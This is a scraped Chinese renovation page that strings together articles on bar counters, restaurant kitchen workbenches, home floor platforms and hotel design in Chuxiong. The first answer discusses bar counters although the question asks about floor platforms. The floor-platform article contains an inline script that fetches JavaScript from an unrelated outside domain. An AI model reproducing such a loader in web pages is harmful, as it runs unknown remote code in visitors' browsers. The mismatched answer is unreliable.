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蒋高驰

谁清楚店铺地台如何设计好?

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萌哒哒的小能手 有用 1

方法如下:
1、首先需要考虑的就是吧台的风格。吧台的设计须跟室内风格相一致,我们在装修的时候,必须将吧台看作是完整空间的一部分,而不单只是一件家具,吧台的位置并没有特定的规则可循,设计师通常会建议利用一些畸零空间,如果将吧台融入当做是空间的主体时,便要好好考虑动线走向。
2、其次就是餐厅吧台的尺寸问题了。餐厅吧台的尺寸也是装修成败的关键,一个合理尺寸的吧台能让整个房间更加和谐,反之则为空间埋下了污点。吧台应具有多少长度才方便使用,一般来说,最小的水槽需长60cm,操作台面60cm,其他则按自己的需要度量即可。这需要根据室内空间大小和对吧台形状的要求具体考量。  
3、吧台的设计上不可避免的要涉及到安全问题,这其中包括电路安全和排水安全。电路最好单独设计一个回路,以免电路跳闸。排水管要有一定的倾斜角度。如果吧台位置离室外近,可以将排水管接到户外,以单独的管线排水;如果须将管线接到管道间而倾斜度又不足,必须从天花板或者墙内安管时,施工就比较麻烦,费用也会跟着提高。  
4、餐厅吧台台面最好要使用耐磨材质,贴皮就不太适合,有水槽的吧台最好还能耐水;如果吧台使用电器,耐火的材质是最好的,像人造石、都是理想的材料。吧台的设计要注意使用上的便利,特别是酒柜的设计,每一层的高度至少是30-40cm,置放酒瓶的部分最好设计成斜放,让酒能淹过瓶塞,使酒能储放更久。

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专题 饭店厨房工作台如何设计

饭店厨房工作台如何设计

对于饭店厨房的装修,重点在于厨房工作台的设计,因为合理的工作台设计安装可以使厨师的工作环境大为改善,而且还方便实用。厨房的工作台设计流程应该是以安全性为主导,设备的安装不要多,而是要方便操作和实用为原则。同时更没有必要把饭店厨房装修的仅仅追求漂亮气派和造型花哨,而不考虑实用性。下面就给大家介绍一下饭店厨房工作台如何设计,希望对有需要的朋友能有所帮助。饭店厨房工作台的设计应紧紧围绕餐饮的经营风格,充分考虑实用、耐用和便利的原则,具体地讲,应在以下几个方面特别加以重视:1、饭店厨房工作台设计在通风的地方不管厨房选配先进的运水烟罩,甚至直接采用简捷的排风扇,最重要的是要使厨房,尤其是配菜、烹调区形成负压。所谓负压,即排出去的空气量要大于补充进入厨房的新风量。这样厨房才能保持空气清新。但在抽排厨房主要油烟的同时,也不可忽视烤箱、焗炉、蒸箱、蒸汽锅以及蒸汽消毒柜、洗碗机等产生的浊气、废气,要保证所有烟气都不在厨房区域弥漫和滞留。2、饭店厨房工作台要设置明厨、明档餐馆设计明厨、明档,是餐饮业发展到一定时期的产物。设计明厨、明档,至少要注意不应因此设计而增加餐厅的油烟、噪声和有碍观瞻场景。有些只宜将生产的最后阶段作展示性的明厨设计,实在没有必要和盘托出。3、饭店厨房工作台的用水和明沟有许多厨房在设计水槽(水池)时,由于配备的太少、太小,使得厨师要跑很远才能找见水池,于是忙起来干脆就很难顾及清洗,厨房的卫生很难令人信服。厨房的明沟,是厨房污水排放的重要通道。可有些厨房明沟太浅,或太毛糙,或无高低落差,或无有机连接,使得厨房或水地相连,或臭气熏人,厨房很难做到干爽、清净。因此,在进行厨房设计时要充分考虑原料化冻、冲洗,厨师取用清水和清洁用水的各种需要,尽可能在合适位置使用的单槽或双槽水池,切实保证食品生产环境的整洁卫生。4、饭店厨房工作台的灯光要求餐厅的灯光重文化,厨房的灯光重实用。这里的实用,主要指临炉炒菜要有足够的灯光以把握菜肴色泽;案板切配要有明亮的灯光,以有效防止刀伤和追求精细的刀工;出菜打荷的上方要有充足的灯光,切实减少杂草混入并流入餐厅等等。厨房灯光不一定要像餐厅一样豪华典雅、布局整齐,但其作用绝不可忽视。以上就是我给大家介绍的关于饭店厨房工作台如何设计的内容,希望对大家能有所帮助。除了以上的介绍,我觉得还要有一些辅助的设计,比如备餐间和厨房工作台的衔接,要便于放菜和传送菜肴。另外就是洗碗间也要考虑其中,不能离厨房工作台太远,而且洗碗间要设计在通风的位置。等等因素的考虑都是对饭店厨房工作台设计时候要注意的事项。希望能帮到大家。

如何设计家中的地台 使用了地台好不好

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无论我们的家是大型公寓还是小型公寓,每个人都喜欢设计地台。通过这种方式,对我们的家也是非常好的,为生活带来便利,为我们的家提供了良好的家庭环境,帮助我们更好地享受家庭的幸福。下面,大家一起来了解下地台有什么设计技巧,以及家里使用了地台好不好。一、地台的设计技巧使用存储空间时,地台就像一个钉在地面上的盒子。这也是一个很好的存储空间。内部空间宽敞,大大减轻了房间的储存压力。打开和关闭地台会比较麻烦,因此会更适合放置一些未使用的床上用品,季节性衣服和手提箱等,要是一些不经常打开的不经常使用的。有一个多功能地台,不仅用于存储,还有许多其他功能,如下午休闲娱乐区,就可以坐在地台上进行享受的。地台还是一张好床。如果地台做得好,甚至可以用做床,值得每个人选择。一些业主将在卧室床位置创建一个地台,将地台连接到衣柜,然后在侧面设计一个桌子,时尚实用,非常好的一居室设计。二、使用了地台是否好地台使用时的优点是经济实用,多功能,也是家居的首选。它有许多功能,如可以当做床,长凳或椅子。第二点是地台可以有效地利用空间,节省床,沙发和工作台的占地面积。长期坐在地台上有利于健康。柔软的沙发放松腿部,臀部和腰部肌肉,也非常舒适。每个人都考虑到地台通风不好,储存时往往需要打开通风。还得注意,地台需要经常擦洗,需要经常通风以防止霉变的。特别提醒,地台不透气,所选板的环保必须非常好,否则就是污染源了。综合所述,地台具有着存储、作为休息地、床等的功能,要是家中条件合适的话不妨是可以设计装修个地台是很不错的选择。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

如何提升楚雄酒店装修设计含金量

如何提升楚雄酒店装修设计含金量

酒店装修设计是一门综合的艺术,她关系到酒店的建设、运营、投资回报率等。因为一些投资人不重视酒店的设计与规划,导致酒店在装修过程中出现很多问题,无形中增加了酒店的运营成本,而且让消费者没有一个很好的用户体验,最终导致回头率很低,进而增加了运营的难度。楚雄酒店装修要如何才能提高装修设计的含金量呢?下面小编就来分享提升楚雄酒店装修设计含金量的方法。提升楚雄酒店装修设计含金量方法一、拒绝全部模仿酒店成立之前进行装修设计没有因地制宜、没有和消费者的需求挂钩、没有和经营者的思路想吻合。只是纯粹的模仿别人的酒店装修方式,只是一味的复制,毫无创新可言,让酒店的设计和功能千篇一律,从而让客户的体验度降到最低。酒店装修设计不能一味的模仿,要有价值的模仿,在模仿的基础上加入酒店的服务理念、客户需求、酒店形象进而加以创新和改革。提升楚雄酒店装修设计含金量方法二、拒绝偷换概念因为酒店项目的投资金额都比较大,所以很多国企、政府部门、事业单位等投资人就以培训中心、活动中心、接待中心、综合服务等名义立项并建造,建成后再改造成为酒店。这类酒店往往是像酒店而非酒店,许多建筑结构、设施设备、功能布局等都不能满足酒店专业经营的需要,“先天不足”,可供“后天”改造装修的内容就很少,很难操作,改造的效果与整体不协调。提升楚雄酒店装修设计含金量方法三、拒绝以个人意志为导向酒店的投资人包括上级主管领导喜欢将个人的意志、特殊喜好,强加到酒店装修设计方案中,这样就会违背酒店经营管理的客观需要。提升楚雄酒店装修设计含金量方法四、拒绝乱设计,无中生有在酒店装修设计之前,投资人需要完成市场调研、酒店选址、酒店定位、酒店规模档次确定、项目可行性分析等工作。有些投资人没有认真好做总体设计的工作,就直接让装修公司的设计师开始了酒店设计工作。有的投资人仅凭参观了几家酒店的感性认识,就拍板投资建新酒店,让装饰公司的设计师没有介入到酒店筹建的初期阶段,这样就形成了一个“盲点”。提升楚雄酒店装修设计含金量方法五、设计拒绝单兵作战酒店本身分工就很精细。在发达国家做酒店设计要有规划、市政、金融、市场、设备、消防、灯光、音响、室内建筑、装饰、艺术等至少十几类的专家和专业技术人员来参与设计,甚至还有管理顾问、餐饮专家和保险公司的介入。建一家酒店涉及到的用品、设备和材料多达数万种,每一种都要有精通的行家来选择和处理。实际上,我国新建酒店的设计多由一个设计单位负责设计,而多数情况下往往成为某设计师牵头负责,再搭配1-2名新手作为助手。由于设计力量单薄,设计图纸常常就漏洞百出,很难出精品设计。提升楚雄酒店装修设计含金量方法六、统筹规划要做好酒店的空间设计包括功能布局、分区设计、总体规划与设计、建筑设计、内外景观及园林设计、室内装修设计、机电与管道系统设计、标志系统(VIS)设计、交通组织设计、管理与对客服务流线(程)设计等内容。我国往往是由多家设计单位分项进行设计,再由多个施工单位进行施工,这就需要投资人把控好这些设计和施工进行系统性统筹。提升楚雄酒店装修设计含金量方法七、拒绝金玉其外败絮其中有些酒店外观设计很漂亮,但内部功能规划、装修与装饰设计等一塌糊涂,设计很不专业,实用性很差,更缺少艺术性。酒店开始运转后就要开始敲敲打打,不断地形成不该花费的改造成本或“二次投入”。很重要的原因就是设计师不懂酒店管理的需要和各种设施的功能,没有从酒店特有属性和消费者的消费需求出发,而是从纯建筑艺术的角度进行设计的。也有的设计图纸过于轻率和简单,如没有高度重视酒店客房的设计,只当成是标准图例的简单组合,客房家具等也都没有进一步的详细配套设计。提升楚雄酒店装修设计含金量方法八、多视角化设计装修公司的设计师要多和酒店运营管理人员沟通,去了解酒店运营管理的需要、客户的需要,以为这两点作为酒店装修设计的基准。让客户满意酒店设计、让业主或者是运营人员最大化的利用酒店创造价值。以上是小编分享的提升楚雄酒店装修设计含金量方法,希望能帮助到大家,更多装修资讯敬请继续关注楚雄装修网。

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